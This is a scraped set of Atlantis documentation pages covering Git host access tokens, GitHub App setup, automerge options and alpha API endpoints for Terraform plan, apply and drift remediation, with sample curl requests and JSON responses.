# Table of Contents - [Atlantis Documentation | Atlantis](#atlantis-documentation-atlantis) - [Atlantis Documentation | Atlantis](#atlantis-documentation-atlantis) - [Git Host Access Credentials | Atlantis](#git-host-access-credentials-atlantis) - [Apply Requirements | Atlantis](#apply-requirements-atlantis) - [Automerging | Atlantis](#automerging-atlantis) - [API Endpoints | Atlantis](#api-endpoints-atlantis) - [Custom Workflows | Atlantis](#custom-workflows-atlantis) - [Configuring Atlantis | Atlantis](#configuring-atlantis-atlantis) - [Checkout Strategy | Atlantis](#checkout-strategy-atlantis) - [Configuring Webhooks | Atlantis](#configuring-webhooks-atlantis) - [Command Requirements | Atlantis](#command-requirements-atlantis) - [FAQ | Atlantis](#faq-atlantis) - [Real-time logs | Atlantis](#real-time-logs-atlantis) - [Terraform Cloud/Enterprise | Atlantis](#terraform-cloud-enterprise-atlantis) - [Pre Workflow Hooks | Atlantis](#pre-workflow-hooks-atlantis) - [Conftest Policy Checking | Atlantis](#conftest-policy-checking-atlantis) - [Autoplanning | Atlantis](#autoplanning-atlantis) - [Requirements | Atlantis](#requirements-atlantis) - [Repo Level atlantis.yaml Config | Atlantis](#repo-level-atlantis-yaml-config-atlantis) - [How Atlantis Works | Atlantis](#how-atlantis-works-atlantis) - [Webhook Secrets | Atlantis](#webhook-secrets-atlantis) - [Installation Guide | Atlantis](#installation-guide-atlantis) - [Metrics/Stats | Atlantis](#metrics-stats-atlantis) - [Terraform Versions | Atlantis](#terraform-versions-atlantis) - [Locking | Atlantis](#locking-atlantis) - [Post Workflow Hooks | Atlantis](#post-workflow-hooks-atlantis) - [HTTPS, SSL, TLS | Atlantis](#https-ssl-tls-atlantis) - [Upgrading atlantis.yaml | Atlantis](#upgrading-atlantis-yaml-atlantis) - [Security | Atlantis](#security-atlantis) - [Custom Policy Checks | Atlantis](#custom-policy-checks-atlantis) - [Provider Credentials | Atlantis](#provider-credentials-atlantis) - [Deployment | Atlantis](#deployment-atlantis) - [Sending notifications via webhooks | Atlantis](#sending-notifications-via-webhooks-atlantis) - [Server Side Repo Config | Atlantis](#server-side-repo-config-atlantis) - [Server Configuration | Atlantis](#server-configuration-atlantis) - [Repo and Project Permissions | Atlantis](#repo-and-project-permissions-atlantis) - [Using Atlantis | Atlantis](#using-atlantis-atlantis) - [Installation Guide | Atlantis](#installation-guide-atlantis) - [Git Host Access Credentials | Atlantis](#git-host-access-credentials-atlantis) - [Checkout Strategy | Atlantis](#checkout-strategy-atlantis) - [Automerging | Atlantis](#automerging-atlantis) - [Autoplanning | Atlantis](#autoplanning-atlantis) - [Real-time logs | Atlantis](#real-time-logs-atlantis) - [Post Workflow Hooks | Atlantis](#post-workflow-hooks-atlantis) - [Upgrading atlantis.yaml | Atlantis](#upgrading-atlantis-yaml-atlantis) - [Terraform Cloud/Enterprise | Atlantis](#terraform-cloud-enterprise-atlantis) - [Metrics/Stats | Atlantis](#metrics-stats-atlantis) - [HTTPS, SSL, TLS | Atlantis](#https-ssl-tls-atlantis) - [API Endpoints | Atlantis](#api-endpoints-atlantis) - [Locking | Atlantis](#locking-atlantis) - [Sending notifications via webhooks | Atlantis](#sending-notifications-via-webhooks-atlantis) - [Security | Atlantis](#security-atlantis) - [Provider Credentials | Atlantis](#provider-credentials-atlantis) - [Pre Workflow Hooks | Atlantis](#pre-workflow-hooks-atlantis) - [Requirements | Atlantis](#requirements-atlantis) - [Conftest Policy Checking | Atlantis](#conftest-policy-checking-atlantis) - [Custom Workflows | Atlantis](#custom-workflows-atlantis) - [Terraform Versions | Atlantis](#terraform-versions-atlantis) - [Webhook Secrets | Atlantis](#webhook-secrets-atlantis) - [Repo and Project Permissions | Atlantis](#repo-and-project-permissions-atlantis) - [Command Requirements | Atlantis](#command-requirements-atlantis) - [Configuring Atlantis | Atlantis](#configuring-atlantis-atlantis) - [FAQ | Atlantis](#faq-atlantis) - [Repo Level atlantis.yaml Config | Atlantis](#repo-level-atlantis-yaml-config-atlantis) - [Configuring Webhooks | Atlantis](#configuring-webhooks-atlantis) - [How Atlantis Works | Atlantis](#how-atlantis-works-atlantis) - [Using Atlantis | Atlantis](#using-atlantis-atlantis) - [Deployment | Atlantis](#deployment-atlantis) - [Server Side Repo Config | Atlantis](#server-side-repo-config-atlantis) - [Server Configuration | Atlantis](#server-configuration-atlantis) --- # Atlantis Documentation | Atlantis [Skip to content](https://www.runatlantis.io/docs#VPContent) On this page Atlantis Documentation [​](https://www.runatlantis.io/docs#atlantis-documentation) =================================================================================== These docs are for users that are ready to get Atlantis installed and start using it. Looking to get started? If you're new here, check out the [Guide](https://www.runatlantis.io/guide) where you can try our [Test Drive](https://www.runatlantis.io/guide/test-drive) or [Run Atlantis Locally](https://www.runatlantis.io/guide/testing-locally) . Next Steps [​](https://www.runatlantis.io/docs#next-steps) ----------------------------------------------------------- * [Installing Atlantis](https://www.runatlantis.io/docs/installation-guide)   –  Get Atlantis up and running * [Configuring Atlantis](https://www.runatlantis.io/docs/configuring-atlantis)   –  Configure how Atlantis works for your specific use-cases * [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis)   –  How do you use Atlantis? * [How Atlantis Works](https://www.runatlantis.io/docs/how-atlantis-works)   –  Internals of what Atlantis is doing --- # Atlantis Documentation | Atlantis [Skip to content](https://www.runatlantis.io/docs.html#VPContent) On this page Atlantis Documentation [​](https://www.runatlantis.io/docs.html#atlantis-documentation) ======================================================================================== These docs are for users that are ready to get Atlantis installed and start using it. Looking to get started? If you're new here, check out the [Guide](https://www.runatlantis.io/guide) where you can try our [Test Drive](https://www.runatlantis.io/guide/test-drive) or [Run Atlantis Locally](https://www.runatlantis.io/guide/testing-locally) . Next Steps [​](https://www.runatlantis.io/docs.html#next-steps) ---------------------------------------------------------------- * [Installing Atlantis](https://www.runatlantis.io/docs/installation-guide)   –  Get Atlantis up and running * [Configuring Atlantis](https://www.runatlantis.io/docs/configuring-atlantis)   –  Configure how Atlantis works for your specific use-cases * [Using Atlantis](https://www.runatlantis.io/docs/using-atlantis)   –  How do you use Atlantis? * [How Atlantis Works](https://www.runatlantis.io/docs/how-atlantis-works)   –  Internals of what Atlantis is doing --- # Git Host Access Credentials | Atlantis [Skip to content](https://www.runatlantis.io/docs/access-credentials#VPContent) On this page Git Host Access Credentials [​](https://www.runatlantis.io/docs/access-credentials#git-host-access-credentials) ================================================================================================================ This page describes how to create credentials for your Git host (GitHub, GitLab, Gitea, Bitbucket, or Azure DevOps) that Atlantis will use to make API calls. Create an Atlantis user (optional) [​](https://www.runatlantis.io/docs/access-credentials#create-an-atlantis-user-optional) ---------------------------------------------------------------------------------------------------------------------------- We recommend creating a new user named **@atlantis** (or something close) or using a dedicated CI user. This isn't required (you can use an existing user or github app credentials), however all the comments that Atlantis writes will come from that user so it might be confusing if it's coming from a personal account. ![Example Comment](https://www.runatlantis.io/assets/example-comment.DAdnrM1n.png) _An example comment coming from the @atlantisbot user_ Generating an Access Token [​](https://www.runatlantis.io/docs/access-credentials#generating-an-access-token) -------------------------------------------------------------------------------------------------------------- Once you've created a new user (or decided to use an existing one), you need to generate an access token. Read on for the instructions for your specific Git host: * [GitHub](https://www.runatlantis.io/docs/access-credentials#github-user) * [GitHub app](https://www.runatlantis.io/docs/access-credentials#github-app) * [GitLab](https://www.runatlantis.io/docs/access-credentials#gitlab) * [Gitea](https://www.runatlantis.io/docs/access-credentials#gitea) * [Bitbucket Cloud (bitbucket.org)](https://www.runatlantis.io/docs/access-credentials#bitbucket-cloud-bitbucket-org) * [Bitbucket Server (aka Stash)](https://www.runatlantis.io/docs/access-credentials#bitbucket-server-aka-stash) * [Azure DevOps](https://www.runatlantis.io/docs/access-credentials#azure-devops) ### GitHub user [​](https://www.runatlantis.io/docs/access-credentials#github-user) * Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) * Create the token with **repo** scope * The following repository permissions are the minimum required: * Commit statuses: read and write (to update the PR with indicators of plan/apply/policy job states) * Contents: read only (to fetch the files changed and clone the repository) * Metadata: read only (this will be automatically selected as mandatory when Contents is set to read-only) * Pull requests: read and write (to comment and react on the PR) * Record the access token WARNING Your Atlantis user must also have "Write permissions" (for repos in an organization) or be a "Collaborator" (for repos in a user account) to be able to set commit statuses: ![Atlantis status](https://www.runatlantis.io/assets/status.DnLxdLLs.png) ### GitHub app [​](https://www.runatlantis.io/docs/access-credentials#github-app) #### Create the GitHub App Using Atlantis [​](https://www.runatlantis.io/docs/access-credentials#create-the-github-app-using-atlantis) WARNING Available in Atlantis versions **newer** than 0.13.0. * Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command. * Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on GitHub. You'll be redirected back to Atlantis * A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link. * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Restart Atlantis with new flags: `atlantis server --gh-app-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration#config-file) . WARNING Only a single installation per GitHub App is supported at the moment. NOTE GitHub App handles the webhook calls by itself, hence there is no need to create webhooks separately. If webhooks were created manually, those can be removed when using GitHub App. Otherwise, there would be 2 calls to Atlantis resulting in locking errors on path/workspace. Webhooks can either be created manually or managed by the GitHub App for repositories that trigger Atlantis. If manually creating (see the [section below](https://www.runatlantis.io/docs/access-credentials#manually-creating-the-github-app) ), do not specify webhook details in the GitHub app configuration settings. In both cases it is strongly recommended to protect the webhooks using a secret. See [Webhook Secrets](https://www.runatlantis.io/docs/webhook-secrets#webhook-secrets) #### Manually Creating the GitHub app [​](https://www.runatlantis.io/docs/access-credentials#manually-creating-the-github-app) * Create the GitHub app as an Administrator * Ensure the app is registered / installed with the organization / user * See the GitHub app [documentation](https://docs.github.com/en/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) * Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` * Start Atlantis with the following flags: `atlantis server --gh-app-id --gh-installation-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](https://www.runatlantis.io/docs/server-configuration#config-file) . NOTE Manually installing the GitHub app means that the credentials can be shared by many Atlantis installations. This has the benefit of centralizing repository access for shared modules / code. NOTE Repositories must be manually registered with the created GitHub app to allow Atlantis to interact with Pull Requests. NOTE Passing the additional flag `--gh-app-slug` will modify the name of the App when posting comments on a Pull Request. #### Permissions [​](https://www.runatlantis.io/docs/access-credentials#permissions) GitHub App needs these permissions. These are automatically set when a GitHub app is created. NOTE Since v0.19.7, a new permission for `Administration` has been added. If you have already created a GitHub app, updating Atlantis to v0.19.7 will not automatically add this permission, so you will need to set it manually. Since v0.22.3, a new permission for `Members` has been added, which is required for features that apply permissions to an organizations team members rather than individual users. Like the `Administration` permission above, updating Atlantis will not automatically add this permission, so if you wish to use features that rely on checking team membership you will need to add this manually. Since v0.30.0, a new permission for `Actions` has been added, which is required for checking if a pull request is mergeable while bypassing the apply check. Updating Atlantis will not automatically add this permission, so you will need to add this manually. | Type | Access | | --- | --- | | Administration | Read-only | | Checks | Read and write | | Commit statuses | Read and write | | Contents | Read and write | | Issues | Read and write | | Metadata | Read-only (default) | | Pull requests | Read and write | | Webhooks | Read and write | | Members | Read-only | | Actions | Read-only | ### GitLab [​](https://www.runatlantis.io/docs/access-credentials#gitlab) * Follow: [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) * Create a token with **api** scope * Record the access token ### Gitea [​](https://www.runatlantis.io/docs/access-credentials#gitea) * Go to "Profile and Settings" > "Settings" in Gitea (top-right) * Go to "Applications" under "User Settings" in Gitea * Create a token under the "Manage Access Tokens" with the following permissions: * issue: Read and Write * repository: Read and Write * user: Read * Record the access token ### Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/access-credentials#bitbucket-cloud-bitbucket-org) * Create an App Password by following [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) * Label the password "atlantis" * Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them. If you want to enable the [hide-prev-plan-comments](https://www.runatlantis.io/docs/server-configuration#hide-prev-plan-comments) feature and thus delete old comments, please add **Account**: **Read** as well. * Record the access token ### Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/access-credentials#bitbucket-server-aka-stash) * Click on your avatar in the top right and select **Manage account** * Click **Personal access tokens** in the sidebar * Click **Create a token** * Name the token **atlantis** * Give the token **Read** Project permissions and **Write** Pull request permissions * Click **Create** and record the access token NOTE: Atlantis will send the token as a [Bearer Auth to the Bitbucket API](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html#HTTPaccesstokens-UsingHTTPaccesstokens) instead of using Basic Auth. ### Azure DevOps [​](https://www.runatlantis.io/docs/access-credentials#azure-devops) * Create a Personal access token by following [Azure DevOps: Use personal access tokens to authenticate](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops) * Label the password "atlantis" * The minimum scopes required for this token are: * Code (Read & Write) * Code (Status) * Member Entitlement Management (Read) * Record the access token Next Steps [​](https://www.runatlantis.io/docs/access-credentials#next-steps) ------------------------------------------------------------------------------ Once you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](https://www.runatlantis.io/docs/webhook-secrets) . --- # Apply Requirements | Atlantis [Skip to content](https://www.runatlantis.io/docs/apply-requirements#VPContent) Return to top Apply Requirements [​](https://www.runatlantis.io/docs/apply-requirements#apply-requirements) ============================================================================================== REDIRECT This page is moved to [Command Requirements](https://www.runatlantis.io/docs/command-requirements) . --- # Automerging | Atlantis [Skip to content](https://www.runatlantis.io/docs/automerging#VPContent) On this page Automerging [​](https://www.runatlantis.io/docs/automerging#automerging) ========================================================================= Atlantis can be configured to automatically merge a pull request after all plans have been successfully applied. ![Automerge](https://www.runatlantis.io/assets/automerge._yCYZlsp.png) How To Enable [​](https://www.runatlantis.io/docs/automerging#how-to-enable) ----------------------------------------------------------------------------- Automerging can be enabled either by: 1. Passing the `--automerge` flag to `atlantis server`. This sets the parameter globally; however, explicit declaration in the repo config will be respected and take priority. 2. Setting `automerge: true` in the repo's `atlantis.yaml` file: yaml version: 3 automerge: true projects: - dir: . NOTE If a repo has an `atlantis.yaml` file, then each project in the repo needs to be configured under the `projects` key. How to Disable [​](https://www.runatlantis.io/docs/automerging#how-to-disable) ------------------------------------------------------------------------------- If automerge is enabled, you can disable it for a single `atlantis apply` command with the `--auto-merge-disabled` option. How to set the merge method for automerge [​](https://www.runatlantis.io/docs/automerging#how-to-set-the-merge-method-for-automerge) ------------------------------------------------------------------------------------------------------------------------------------- If automerge is enabled, you can set a default merge method with the `--automerge-method` server flag or `ATLANTIS_AUTOMERGE_METHOD` environment variable. shell atlantis server --automerge-method You can override the server default for a single `atlantis apply` command with the `--auto-merge-method` option. shell atlantis apply --auto-merge-method The `method` must be one of: * merge * rebase * squash This is currently only implemented for the GitHub VCS. Requirements [​](https://www.runatlantis.io/docs/automerging#requirements) --------------------------------------------------------------------------- ### All Plans Must Succeed [​](https://www.runatlantis.io/docs/automerging#all-plans-must-succeed) When automerge is enabled, **all plans** in a pull request **must succeed** before **any** plans can be applied. For example, imagine this scenario: 1. I open a pull request that makes changes to two Terraform projects, in `dir1/` and `dir2/`. 2. The plan for `dir2/` fails because my Terraform syntax is wrong. In this scenario, I can't run shell atlantis apply -d dir1 Even though that plan succeeded, because **all** plans must succeed for **any** plans to be saved. Once I fix the issue in `dir2`, I can push a new commit which will trigger an autoplan. Then I will be able to apply both plans. ### All Plans must be applied [​](https://www.runatlantis.io/docs/automerging#all-plans-must-be-applied) If multiple projects/dirs/workspaces are configured to be planned automatically, then they should all be applied before Atlantis automatically merges the PR. Permissions [​](https://www.runatlantis.io/docs/automerging#permissions) ------------------------------------------------------------------------- The Atlantis VCS user must have the ability to merge pull requests. --- # API Endpoints | Atlantis [Skip to content](https://www.runatlantis.io/docs/api-endpoints#VPContent) On this page API Endpoints [​](https://www.runatlantis.io/docs/api-endpoints#api-endpoints) =============================================================================== Aside from interacting via pull request comments, Atlantis could respond to a limited number of API endpoints. ALPHA API - SUBJECT TO CHANGE The API endpoints documented on this page are currently in **alpha state** and are **not considered stable**. The request and response schemas may change at any time without prior notice or deprecation period. If you build integrations against these endpoints, when upgrading Atlantis you should review the release notes carefully and be prepared to update your code. Response Format [​](https://www.runatlantis.io/docs/api-endpoints#response-format) ----------------------------------------------------------------------------------- The newer drift API endpoints use a consistent envelope format: json { "success": true, "data": { ... }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } The command and lock endpoints currently return their original top-level bodies rather than the drift API envelope. This includes `POST /api/plan`, `POST /api/apply`, and the existing lock endpoints. Command endpoints return `command.Result` at the top level on success or project failure, and return a top-level `{ "error": "..." }` body for request/auth/setup errors. ### Envelope Response Fields [​](https://www.runatlantis.io/docs/api-endpoints#envelope-response-fields) | Field | Type | Description | | --- | --- | --- | | success | boolean | `true` if the request succeeded, `false` otherwise | | data | object | The response payload (present on success) | | error | object | Error details (present on failure, `null` on success) | | request\_id | string | Unique identifier for request tracing | | timestamp | string | ISO 8601 timestamp of when the response was generated | ### Envelope Error Response Format [​](https://www.runatlantis.io/docs/api-endpoints#envelope-error-response-format) When an error occurs on an endpoint that uses the envelope, the response includes structured error information: json { "success": false, "data": null, "error": { "code": "VALIDATION_ERROR", "message": "missing required parameter: repository" }, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } ### Error Codes [​](https://www.runatlantis.io/docs/api-endpoints#error-codes) | Code | HTTP Status | Description | | --- | --- | --- | | VALIDATION\_ERROR | 400 | Invalid request parameters or body | | UNAUTHORIZED | 401 | Invalid or missing authentication token | | FORBIDDEN | 403 | Access denied (e.g., repository not allowed) | | NOT\_FOUND | 404 | Requested resource not found | | INTERNAL\_ERROR | 500 | Internal server error | | SERVICE\_UNAVAILABLE | 503 | Feature not enabled or service unavailable | Main Endpoints [​](https://www.runatlantis.io/docs/api-endpoints#main-endpoints) --------------------------------------------------------------------------------- The API endpoints in this section are disabled by default, since these API endpoints could change the infrastructure directly. To enable the API endpoints, `api-secret` should be configured. Prerequisites * Set `api-secret` as part of the [Server Configuration](https://www.runatlantis.io/docs/server-configuration#api-secret) * Pass `X-Atlantis-Token` with the same secret in the request header ### POST /api/plan [​](https://www.runatlantis.io/docs/api-endpoints#post-api-plan) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description) Execute [atlantis plan](https://www.runatlantis.io/docs/using-atlantis#atlantis-plan) on the specified repository. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints#parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | \[\]string | No | List of project names to run the plan | | Paths | \[\]Path | No | Paths to the projects to run the plan | | PR | int | No | Pull Request number | NOTE At least one of `Projects` or `Paths` must be specified. No-PR API Requests When `PR` is omitted or set to `0`, Atlantis runs the request as an isolated synthetic non-PR workflow. Synthetic API workflows use generated pull identities for working directories and locks, perform hardened branch-qualified checkout, skip pull-request modified-file lookups, fail closed on team allowlist denial, and sort selected projects by configured execution order. For tag, commit SHA, or ambiguous non-branch refs, provide `base_branch` so Atlantis can verify the checked ref is reachable from the intended base branch. Branch names such as `main` or `feature/foo` are fetched as `refs/heads/`. Policy Checks When policy checks are enabled and project selection generates `policy_check` contexts, API plan/apply requests run policy checks after successful plan contexts. API apply requests with `apply_requirements: [policies_passed]` require successful policy status before applying. API Apply Plan Phase The API apply endpoint runs a plan before apply. Project-level errors in that pre-apply phase do not by themselves skip the apply phase for other eligible pending plans. Drift remediation auto-apply is stricter and fails closed when its pre-apply plan has errors. #### Path [​](https://www.runatlantis.io/docs/api-endpoints#path) Similar to the [Options](https://www.runatlantis.io/docs/using-atlantis#options) of `atlantis plan`. Path specifies which directory/workspace within the repository to run the plan. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | | --- | --- | --- | --- | | Directory | string | No | Which directory to run plan in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request (with PR) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-with-pr) shell curl --request POST 'https:///api/plan' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }], "PR": 2 }' #### Sample Request (Drift Detection - No PR) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-drift-detection-no-pr) For drift detection workflows, omit the `PR` parameter: shell curl --request POST 'https:///api/plan' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }] }' #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-success) json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": null,\ "Failure": "",\ "PlanSuccess": {\ "TerraformOutput": ""\ },\ "RepoRelDir": ".",\ "Workspace": "default",\ "ProjectName": ""\ }\ ], "PlansDeleted": false } #### Sample Response (Error) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-error) When a request/auth/setup error occurs, the legacy endpoint returns a top-level error body: json { "error": "request \"{}\" is missing fields" } #### Sample Response (Project Error) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-project-error) When a project-level error occurs: json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": {},\ "Failure": "",\ "RepoRelDir": "modules/vpc",\ "Workspace": "production",\ "ProjectName": "vpc"\ }\ ], "PlansDeleted": false } Project Status Values * `success`: Project command completed successfully * `error`: An error occurred. Legacy plan/apply responses preserve the historical Go error JSON shape: non-nil project `Error` values are encoded as `{}`, and nil values are encoded as `null`. * `failed`: A failure occurred (check `failure` field) ### POST /api/apply [​](https://www.runatlantis.io/docs/api-endpoints#post-api-apply) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-1) Execute [atlantis apply](https://www.runatlantis.io/docs/using-atlantis#atlantis-apply) on the specified repository. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints#parameters-1) | Name | Type | Required | Description | | --- | --- | --- | --- | | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | \[\]string | No | List of project names to run the apply | | Paths | \[\]Path | No | Paths to the projects to run the apply | | PR | int | No | Pull Request number | NOTE At least one of `Projects` or `Paths` must be specified. #### Path [​](https://www.runatlantis.io/docs/api-endpoints#path-1) Similar to the [Options](https://www.runatlantis.io/docs/using-atlantis#options-1) of `atlantis apply`. Path specifies which directory/workspace within the repository to run the apply. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | | --- | --- | --- | --- | | Directory | string | No | Which directory to run apply in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints#sample-request) shell curl --request POST 'https:///api/apply' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }], "PR": 2 }' #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints#sample-response-success-1) json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": null,\ "Failure": "",\ "ApplySuccess": "Apply complete! Resources: 2 added, 1 changed, 0 destroyed.",\ "RepoRelDir": ".",\ "Workspace": "default",\ "ProjectName": ""\ }\ ], "PlansDeleted": false } Error Response Format Error responses follow the same legacy format as the plan endpoint. See the [plan error response example](https://www.runatlantis.io/docs/api-endpoints#sample-response-error) for details. Drift Detection And Remediation (Alpha) [​](https://www.runatlantis.io/docs/api-endpoints#drift-detection-and-remediation-alpha) --------------------------------------------------------------------------------------------------------------------------------- ALPHA FEATURE - SUBJECT TO CHANGE The drift detection, drift status, remediation, remediation history, and drift webhook APIs are alpha features. Their request fields, response schemas, storage semantics, webhook payloads, and safety gates may change before the feature is promoted to stable. Drift detection runs Terraform plan workflows and can execute configured hooks or custom plan steps. Destructive remediation apply requires both `--enable-drift-detection` and `--enable-drift-remediation`. ### POST /api/drift/remediate [​](https://www.runatlantis.io/docs/api-endpoints#post-api-drift-remediate) #### Description [​](https://www.runatlantis.io/docs/api-endpoints#description-2) Execute drift remediation on the specified repository. This endpoint allows you to run plan-only (to preview remediation) or auto-apply (to automatically fix drift) operations for projects with detected drift. Prerequisites * Drift detection storage must be enabled on the Atlantis server * The repository must be in the allowed repository list (if configured) Workflow Order `POST /api/drift/remediate` with `action: "plan"` (the default) runs a fresh plan even without cached drift data — it does not require a prior `POST /api/drift/detect` call — when `projects` or `paths` are specified; an unscoped remediate (neither set) still draws its targets from cached drift. Only `action: "apply"` (or `drift_only: true`) requires a cached drift record for each targeted project/path/workspace. See the "Cached Drift Required" tip below. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints#parameters-2) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | ref | string | Yes | Git reference (branch/tag/commit) to use for remediation | | base\_branch | string | Conditional | Branch context for repo-config branch filters and undiverged checks | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | | action | string | No | Remediation action: `plan` (default) or `apply` | | projects | \[\]string | No | List of project names to remediate. If empty, uses drift detection data | | paths | \[\]DriftDetectionPath | No | List of repo-relative directories/workspaces to remediate | | workspaces | \[\]string | No | Filter remediation to specific workspaces | | drift\_only | boolean | No | If true, only remediate projects with detected drift | The `paths` field uses the same `DriftDetectionPath` object described under `POST /api/drift/detect`. For remediation, a path selector without `workspace` targets the default Terraform workspace only. Use the top-level `workspaces` field or path-level `workspace` values to remediate non-default workspaces. Project selectors for remediation are exact project names. Regular expression project selectors are not supported for remediation; use explicit project names or path selectors when targeting multiple projects. API path selectors are literal normalized repo-relative paths; glob patterns such as `envs/*` are not supported. Actions * `plan`: Runs a plan to preview what would change (default, non-destructive) * `apply`: Runs both plan and apply to automatically fix drift (destructive). This action requires both `--enable-drift-detection` and `--enable-drift-remediation`, plus cached drift with `has_drift: true` from a previous detection run for each targeted project/path/workspace. Apply Requirements Drift remediation apply does not bypass repository `apply_requirements`. Requirements that need pull request state, such as `approved` or `mergeable`, fail closed for non-PR remediation requests. Use plan-only remediation or normal PR workflows for projects guarded by those requirements. Webhooks Drift remediation apply does not trigger legacy `event: apply` webhooks. Use drift webhooks for drift workflow notifications. Plan Requirements Drift remediation plan-only actions and drift detection do not bypass PR-state `plan_requirements`. Requirements such as `approved` or `mergeable` cannot be satisfied without a pull request and fail closed. Ref Safety When remediation uses cached drift for a moving ref such as `main`, Atlantis compares the current checkout commit with the commit that produced the cached drift record. If the ref has moved, rerun drift detection before using `action: "apply"`. Cached Drift Required Remediation `action: "apply"` only applies cached drift records with `has_drift: true` for the same repository, ref, `base_branch`, project/path, and workspace. Use `action: "plan"` for uncached previews, then run drift detection before applying. Branch Context For branch refs such as `main`, `feature/foo`, or `refs/heads/feature/foo`, Atlantis uses `ref` as the branch context and fetches the branch namespace explicitly. Ambiguous bare refs such as `prod`, `latest`, `stable`, or `v1.2.3` require `base_branch` but are still fetched as branch names. For raw commit SHAs and explicit `refs/tags/...` refs, provide `base_branch` so repo-config branch filters and undiverged checks are evaluated against the intended branch. Use the explicit `refs/tags/...` form for tags. #### Sample Request (Plan Only) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-plan-only) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "plan", "drift_only": true }' #### Sample Request (Auto-Apply Specific Projects) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-auto-apply-specific-projects) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "apply", "projects": ["vpc", "ec2"], "workspaces": ["production"], "drift_only": true }' #### Sample Request (Specific Paths) [​](https://www.runatlantis.io/docs/api-endpoints#sample-request-specific-paths) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "plan", "paths": [\ {"directory": "modules/vpc", "workspace": "production"}\ ] }' #### 